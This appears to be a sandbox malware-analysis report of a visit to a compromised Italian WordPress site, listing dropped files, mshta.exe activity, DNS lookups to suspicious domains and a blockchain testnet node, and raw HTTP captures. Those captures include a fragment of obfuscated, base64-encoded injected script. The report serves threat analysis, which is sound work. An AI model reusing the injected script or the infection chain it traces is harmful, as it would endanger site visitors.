Preview:	{"abusive_adblocker_etag":"\"8ABCE35666CBACA121128B98C75E78308AAC1CE803625FAFB4A7AFA722C77CA4\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

Process:	C:\Windows\System32\mshta.exe
File Type:	PNG image data, 54 x 54, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.0936408308765495
Encrypted:	false
SSDEEP:	12:6v/7EljW8E6Cl2SYh8SZM4tf70FSDvMXDxJp6ScFChY9:U8hCl2SIdZBtAFSDUX/ozIhK
MD5:	C33DE66281E933259772399D10A6AFE8
SHA1:	B9F9D500F8814381451011D4DCF59CD2D90AD94F
SHA-256:	F1591A5221136C49438642155691AE6C68E25B7241F3D7EBE975B09A77662016
SHA-512:	5834FB9D66F550E6CECFE484B7B6A14F3FCA795405DECE8E652BD69AD917B94B6BBDCDF7639161B9C07F0D33EABD3E79580446B5867219F72F4FC43FD43B98C3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...6...6............3PLTE.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?.E?..".....tRNS.@0.`........ P.p`...../IDATx.....0...l..6....+...~yJ.F"....oE..L.3..[..i2..n.WyJ..z&.....F.......b....p~...\|:t5.m...fp.i./e....%.%...n.P...enV.....!...,.......E........t![HW.B.g.R.\^.e..o+........%.&-j..q...f@..o...]... ....u0.x..2K.+C..8.U.L.Y.[=.....y...o.tF..]M..U.,4..........a.>/.)....C3gNI.i...R.=....Q7..K......IEND.B`.

Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	4592
Entropy (8bit):	4.048313890192413
Encrypted:	false
SSDEEP:	48:upUw1V4VOBXvLuSZIPTC5f1a5TI7jn3GFa7KGuc1kpNc7K1rfQy:u3pfZQw6Kj36a7gG7I
MD5:	75296BC561EEB0FCD4F55BA9769AD14A
SHA1:	394EB8464D5C2AC69A3E6F7DF0D747BC3DA5CED3
SHA-256:	71165196DA9A0BE1A5CA6BF2D5C158E2F6792DBD9E6517BA7BD471E064047B60
SHA-512:	FBAE90CBBC552A3ABAE1D53A697CC0173CA74AC1032A267168BCF3C93C311BBFD123DFB52CE92BF651AB05A02207926D06C2F3607107955F53F1C5FB6A994229
Malicious:	false
Reputation:	low
Preview:	.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">....<html>.... <head>.. <link rel="stylesheet" type="text/css" href="ErrorPageTemplate.css" />.... <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>.... <title>HTTP 403 Forbidden</title>.... <script src="errorPageStrings.js" language="javascript" type="text/javascript">.. </script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="javascript:expandCollapse('infoBlockID', true); initGoBack(); initMoreInfo('infoBlockID');">.... <table width="730" cellpadding="0" cellspacing="0" border="0">.... Error title -->.. <tr>.. <td id="infoIconAlign" width="60" align="left" valign="top" rowspan="2">.. <img src="info_48.png" id="infoIcon" alt="Information icon">.. </

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 3 15:32:46 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2673
Entropy (8bit):	4.000341579730602
Encrypted:	false
SSDEEP:	48:8hdGTiCnWHGeidAKZdA1FehwiZUklqehNy+3:8KTWKy
MD5:	9FD6F1D7E74327651F9A966104B52CDB
SHA1:	CF7FFB6C40E55885EDD5A4E5D3A8A9B43D3F8530
SHA-256:	03183FB895CE2837E3025172D64E7AF5583E97511E0789ABCD8F2344FDDBBD33
SHA-512:	3588336B4979C3427481601AD8E67A0920BCC0D99954D53FFAC1843364DCC35CCBF52CDF71E8989E02254245869C3308A81DC88EB2FA952E11FFC8C91B4CA883
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.........]..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I#Z......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V#Z......L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V#Z......M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V#Z............................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V#Z.............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............].....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 3, 2025 17:32:45.184803009 CET	192.168.2.16	1.1.1.1	0x79b0	Standard query (0)	www.cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:32:45.184963942 CET	192.168.2.16	1.1.1.1	0xf5b5	Standard query (0)	www.cipassoitalia.it	65	IN (0x0001)	false
Jan 3, 2025 17:32:45.949620008 CET	192.168.2.16	1.1.1.1	0x5b7c	Standard query (0)	www.cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:32:45.949763060 CET	192.168.2.16	1.1.1.1	0x55c4	Standard query (0)	www.cipassoitalia.it	65	IN (0x0001)	false
Jan 3, 2025 17:32:47.265153885 CET	192.168.2.16	1.1.1.1	0x8b2e	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:32:47.265547991 CET	192.168.2.16	1.1.1.1	0x2e12	Standard query (0)	s.w.org	65	IN (0x0001)	false
Jan 3, 2025 17:32:49.068708897 CET	192.168.2.16	1.1.1.1	0xd39e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:32:49.068871021 CET	192.168.2.16	1.1.1.1	0x2688	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:00.017438889 CET	192.168.2.16	1.1.1.1	0x66ef	Standard query (0)	www.cipassoitalia.it	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:00.017584085 CET	192.168.2.16	1.1.1.1	0x3910	Standard query (0)	www.cipassoitalia.it	65	IN (0x0001)	false
Jan 3, 2025 17:33:00.690936089 CET	192.168.2.16	1.1.1.1	0x1945	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:00.691127062 CET	192.168.2.16	1.1.1.1	0xb0a4	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 3, 2025 17:33:01.592170954 CET	192.168.2.16	1.1.1.1	0x3d87	Standard query (0)	data-seed-prebsc-1-s1.bnbchain.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:01.592170954 CET	192.168.2.16	1.1.1.1	0x597	Standard query (0)	_8545._https.data-seed-prebsc-1-s1.bnbchain.org	65	IN (0x0001)	false
Jan 3, 2025 17:33:01.602410078 CET	192.168.2.16	1.1.1.1	0x3172	Standard query (0)	use.fontawesome.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:01.602545023 CET	192.168.2.16	1.1.1.1	0x6033	Standard query (0)	use.fontawesome.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:02.927696943 CET	192.168.2.16	1.1.1.1	0x7d0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:02.927830935 CET	192.168.2.16	1.1.1.1	0xb08e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:02.928062916 CET	192.168.2.16	1.1.1.1	0xc09c	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:02.928178072 CET	192.168.2.16	1.1.1.1	0xade8	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 3, 2025 17:33:03.989362001 CET	192.168.2.16	1.1.1.1	0x93c4	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:03.989504099 CET	192.168.2.16	1.1.1.1	0xc510	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:04.639811039 CET	192.168.2.16	1.1.1.1	0x3809	Standard query (0)	mc.yandex.ru	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:04.639940023 CET	192.168.2.16	1.1.1.1	0x936b	Standard query (0)	mc.yandex.ru	65	IN (0x0001)	false
Jan 3, 2025 17:33:04.884274960 CET	192.168.2.16	1.1.1.1	0x555a	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:04.884454966 CET	192.168.2.16	1.1.1.1	0x7a04	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:05.873040915 CET	192.168.2.16	1.1.1.1	0x103c	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:05.873178005 CET	192.168.2.16	1.1.1.1	0x52c6	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:07.259753942 CET	192.168.2.16	1.1.1.1	0x4b51	Standard query (0)	mc.yandex.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:07.259896994 CET	192.168.2.16	1.1.1.1	0xbe1	Standard query (0)	mc.yandex.com	65	IN (0x0001)	false
Jan 3, 2025 17:33:11.003885984 CET	192.168.2.16	1.1.1.1	0xe7fe	Standard query (0)	s.w.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:11.004034042 CET	192.168.2.16	1.1.1.1	0x7a93	Standard query (0)	s.w.org	65	IN (0x0001)	false
Jan 3, 2025 17:33:18.584875107 CET	192.168.2.16	1.1.1.1	0x858d	Standard query (0)	solve.jrqr.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:22.697582960 CET	192.168.2.16	1.1.1.1	0xcc04	Standard query (0)	t3.awagama.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:58.320909023 CET	192.168.2.16	1.1.1.1	0xc735	Standard query (0)	t3.awagama.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:58.321058989 CET	192.168.2.16	1.1.1.1	0xb920	Standard query (0)	t3.awagama.org	65	IN (0x0001)	false
Jan 3, 2025 17:33:59.147902966 CET	192.168.2.16	1.1.1.1	0x30b6	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:59.148078918 CET	192.168.2.16	1.1.1.1	0x7975	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Jan 3, 2025 17:33:59.526689053 CET	192.168.2.16	1.1.1.1	0x46e8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:33:59.526829958 CET	192.168.2.16	1.1.1.1	0x9acc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:02.664783001 CET	192.168.2.16	1.1.1.1	0x15ce	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:02.664783001 CET	192.168.2.16	1.1.1.1	0xf36e	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:02.665127993 CET	192.168.2.16	1.1.1.1	0x5b53	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:02.665436983 CET	192.168.2.16	1.1.1.1	0x55c5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:02.673141003 CET	192.168.2.16	1.1.1.1	0xf146	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:02.673141003 CET	192.168.2.16	1.1.1.1	0xa299	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:06.620677948 CET	192.168.2.16	1.1.1.1	0xb1d8	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:06.620842934 CET	192.168.2.16	1.1.1.1	0x656f	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:06.663463116 CET	192.168.2.16	1.1.1.1	0xecb8	Standard query (0)	t3.awagama.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:06.663597107 CET	192.168.2.16	1.1.1.1	0x3c2e	Standard query (0)	t3.awagama.org	65	IN (0x0001)	false
Jan 3, 2025 17:34:07.616779089 CET	192.168.2.16	1.1.1.1	0xe411	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:07.616857052 CET	192.168.2.16	1.1.1.1	0x94fb	Standard query (0)	play.google.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:10.367306948 CET	192.168.2.16	1.1.1.1	0x7bc4	Standard query (0)	forms.pienissimo.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:10.367475986 CET	192.168.2.16	1.1.1.1	0x4c94	Standard query (0)	forms.pienissimo.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:11.344177008 CET	192.168.2.16	1.1.1.1	0x89f9	Standard query (0)	unpkg.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:11.344254971 CET	192.168.2.16	1.1.1.1	0x34b6	Standard query (0)	unpkg.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:12.252125025 CET	192.168.2.16	1.1.1.1	0x7214	Standard query (0)	forms.pienissimo.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:12.252268076 CET	192.168.2.16	1.1.1.1	0x7626	Standard query (0)	forms.pienissimo.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:12.734859943 CET	192.168.2.16	1.1.1.1	0xc88a	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:12.734983921 CET	192.168.2.16	1.1.1.1	0xf887	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jan 3, 2025 17:34:14.056747913 CET	192.168.2.16	1.1.1.1	0xb782	Standard query (0)	connect.facebook.net	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:14.056920052 CET	192.168.2.16	1.1.1.1	0x1543	Standard query (0)	connect.facebook.net	65	IN (0x0001)	false
Jan 3, 2025 17:34:15.321146965 CET	192.168.2.16	1.1.1.1	0x477d	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:15.321278095 CET	192.168.2.16	1.1.1.1	0x35f0	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Jan 3, 2025 17:34:15.381438971 CET	192.168.2.16	1.1.1.1	0x2ac7	Standard query (0)	enginev2.pienissimo.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:15.381577015 CET	192.168.2.16	1.1.1.1	0x352a	Standard query (0)	enginev2.pienissimo.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:16.000076056 CET	192.168.2.16	1.1.1.1	0xaf6b	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:16.000219107 CET	192.168.2.16	1.1.1.1	0xb99a	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Jan 3, 2025 17:34:16.444199085 CET	192.168.2.16	1.1.1.1	0x5a1f	Standard query (0)	enginev2.pienissimo.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:16.444411993 CET	192.168.2.16	1.1.1.1	0x510a	Standard query (0)	enginev2.pienissimo.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:18.769074917 CET	192.168.2.16	1.1.1.1	0x11d9	Standard query (0)	pienissimo.s3.eu-central-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:18.769213915 CET	192.168.2.16	1.1.1.1	0x83cd	Standard query (0)	pienissimo.s3.eu-central-1.amazonaws.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:19.915391922 CET	192.168.2.16	1.1.1.1	0x4795	Standard query (0)	pienissimo.s3.eu-central-1.amazonaws.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:19.915683031 CET	192.168.2.16	1.1.1.1	0x9704	Standard query (0)	pienissimo.s3.eu-central-1.amazonaws.com	65	IN (0x0001)	false
Jan 3, 2025 17:34:44.240864038 CET	192.168.2.16	1.1.1.1	0xd0c2	Standard query (0)	www.cloudflare.com	A (IP address)	IN (0x0001)	false
Jan 3, 2025 17:34:44.855230093 CET	192.168.2.16	1.1.1.1	0xe641	Standard query (0)	static.cloudflareinsights.com	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 17:32:45.276675940 CET	435	OUT	GET / HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9
Jan 3, 2025 17:32:45.943126917 CET	430	IN	HTTP/1.1 301 Moved Permanently Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:45 GMT Content-Type: text/html Content-Length: 168 Connection: keep-alive Location: https://www.cipassoitalia.it/ X-ServerName: webx.aruba.it Alt-Svc: h3=":443"; ma=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 61 72 75 62 61 2d 70 72 6f 78 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>aruba-proxy</center></body></html>
Jan 3, 2025 17:33:30.957741022 CET	6	OUT	Data Raw: 00 Data Ascii:

Timestamp	Bytes transferred	Direction	Data
2025-01-03 16:32:46 UTC	663	OUT	GET / HTTP/1.1 Host: www.cipassoitalia.it Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-03 16:32:47 UTC	485	IN	HTTP/1.1 200 OK Server: aruba-proxy Date: Fri, 03 Jan 2025 16:32:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Link: <https://www.cipassoitalia.it/wp-json/>; rel="https://api.w.org/", <https://www.cipassoitalia.it/wp-json/wp/v2/pages/838>; rel="alternate"; type="application/json", <https://www.cipassoitalia.it/>; rel=shortlink X-ServerName: webx.aruba.it X-Aruba-Cache: HIT Alt-Svc: h3=":443"; ma=86400
2025-01-03 16:32:47 UTC	15899	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 69 74 2d 49 54 22 20 63 6c 61 73 73 3d 22 68 74 6d 6c 5f 73 74 72 65 74 63 68 65 64 20 72 65 73 70 6f 6e 73 69 76 65 20 61 76 2d 70 72 65 6c 6f 61 64 65 72 2d 64 69 73 61 62 6c 65 64 20 61 76 2d 64 65 66 61 75 6c 74 2d 6c 69 67 68 74 62 6f 78 20 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 74 6f 70 20 68 74 6d 6c 5f 6c 6f 67 6f 5f 6c 65 66 74 20 68 74 6d 6c 5f 6d 61 69 6e 5f 6e 61 76 5f 68 65 61 64 65 72 20 68 74 6d 6c 5f 6d 65 6e 75 5f 72 69 67 68 74 20 68 74 6d 6c 5f 63 75 73 74 6f 6d 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 74 69 63 6b 79 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 73 68 72 69 6e 6b 69 6e 67 20 68 74 6d 6c 5f 68 65 61 64 65 72 5f 74 6f 70 62 61 Data Ascii: 8000<!DOCTYPE html><html lang="it-IT" class="html_stretched responsive av-preloader-disabled av-default-lightbox html_header_top html_logo_left html_main_nav_header html_menu_right html_custom html_header_sticky html_header_shrinking html_header_topba
2025-01-03 16:32:47 UTC	16384	IN	Data Raw: 39 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 61 76 69 61 2d 6d 6f 64 75 6c 65 2d 70 72 6f 6d 6f 62 6f 78 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 69 70 61 73 73 6f 69 74 61 6c 69 61 2e 69 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 66 6f 6c 64 2f 63 6f 6e 66 69 67 2d 74 65 6d 70 6c 61 74 65 62 75 69 6c 64 65 72 2f 61 76 69 61 2d 73 68 6f 72 74 63 6f 64 65 73 2f 70 72 6f 6d 6f 62 6f 78 2f 70 72 6f 6d 6f 62 6f 78 2e 63 73 73 3f 76 65 72 3d 36 2e 30 2e 39 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e Data Ascii: 9' type='text/css' media='all' /><link rel='stylesheet' id='avia-module-promobox-css' href='https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobox/promobox.css?ver=6.0.9' type='text/css' media='all' /><lin
2025-01-03 16:32:47 UTC	16384	IN	Data Raw: 57 45 34 49 43 73 67 4d 48 67 78 49 43 6f 67 4c 54 42 34 4e 44 51 32 49 43 73 67 4d 48 67 35 49 43 6f 67 4d 48 67 7a 4f 57 55 70 4b 53 6b 73 49 47 78 6c 62 69 41 39 49 46 38 77 65 44 4d 31 4e 32 51 33 59 6c 74 66 4d 48 67 7a 4d 32 55 35 5a 6a 59 6f 4d 48 67 78 4e 6a 4d 70 58 53 68 4f 64 57 31 69 5a 58 49 73 49 46 38 77 65 44 4d 31 4e 32 51 33 59 6c 74 66 4d 48 67 7a 4d 32 55 35 5a 6a 59 6f 4d 48 67 78 4e 6a 4d 70 58 53 68 66 4d 48 67 33 4e 6a 46 68 4e 44 45 73 49 48 56 75 61 47 56 34 5a 57 52 62 58 7a 42 34 4d 7a 4e 6c 4f 57 59 32 4b 44 42 34 4d 54 51 35 4b 56 30 6f 4d 48 67 7a 59 69 41 71 49 43 30 77 65 44 49 34 49 43 73 67 4c 54 42 34 4f 57 59 31 49 43 6f 67 4d 48 67 78 49 43 73 67 4c 54 42 34 4d 32 51 67 4b 69 41 74 4d 48 67 31 4d 53 77 67 58 7a 42 34 Data Ascii: WE4ICsgMHgxICogLTB4NDQ2ICsgMHg5ICogMHgzOWUpKSksIGxlbiA9IF8weDM1N2Q3YltfMHgzM2U5ZjYoMHgxNjMpXShOdW1iZXIsIF8weDM1N2Q3YltfMHgzM2U5ZjYoMHgxNjMpXShfMHg3NjFhNDEsIHVuaGV4ZWRbXzB4MzNlOWY2KDB4MTQ5KV0oMHgzYiAqIC0weDI4ICsgLTB4OWY1ICogMHgxICsgLTB4M2QgKiAtMHg1MSwgXzB4
2025-01-03 16:32:47 UTC	16384	IN	Data Raw: 20 77 69 64 74 68 3d 22 33 33 33 22 20 20 69 74 65 6d 70 72 6f 70 3d 22 74 68 75 6d 62 6e 61 69 6c 55 72 6c 22 20 20 2f 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 68 65 69 67 68 74 3a 32 30 70 78 27 20 63 6c 61 73 73 3d 27 68 72 20 68 72 2d 69 6e 76 69 73 69 62 6c 65 20 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 38 20 20 65 6c 5f 61 66 74 65 72 5f 61 76 5f 69 6d 61 67 65 20 20 65 6c 5f 62 65 66 6f 72 65 5f 61 76 5f 73 6c 69 64 65 73 68 6f 77 5f 61 63 63 6f 72 64 69 6f 6e 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 6c 61 73 74 20 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 20 27 20 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 2d 73 74 79 Data Ascii: width="333" itemprop="thumbnailUrl" /></div></div></div><div style='height:20px' class='hr hr-invisible avia-builder-el-8 el_after_av_image el_before_av_slideshow_accordion avia-builder-el-last '><span class='hr-inner ' ><span class='hr-inner-sty
2025-01-03 16:32:47 UTC	16384	IN	Data Raw: 3c 64 69 76 20 63 6c 61 73 73 3d 27 65 6e 74 72 79 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 20 63 6c 65 61 72 66 69 78 27 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 27 68 65 69 67 68 74 3a 32 30 70 78 27 20 63 6c 61 73 73 3d 27 68 72 20 68 72 2d 69 6e 76 69 73 69 62 6c 65 20 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 32 36 20 20 65 6c 5f 61 66 74 65 72 5f 61 76 5f 6c 61 79 6f 75 74 5f 72 6f 77 20 20 65 6c 5f 62 65 66 6f 72 65 5f 61 76 5f 73 65 63 74 69 6f 6e 20 20 61 76 69 61 2d 62 75 69 6c 64 65 72 2d 65 6c 2d 6e 6f 2d 73 69 62 6c 69 6e 67 20 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 20 27 20 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 27 68 72 2d 69 6e 6e 65 72 2d 73 74 79 6c 65 27 3e 3c 2f 73 70 61 6e 3e 3c 2f 73 70 Data Ascii: <div class='entry-content-wrapper clearfix'><div style='height:20px' class='hr 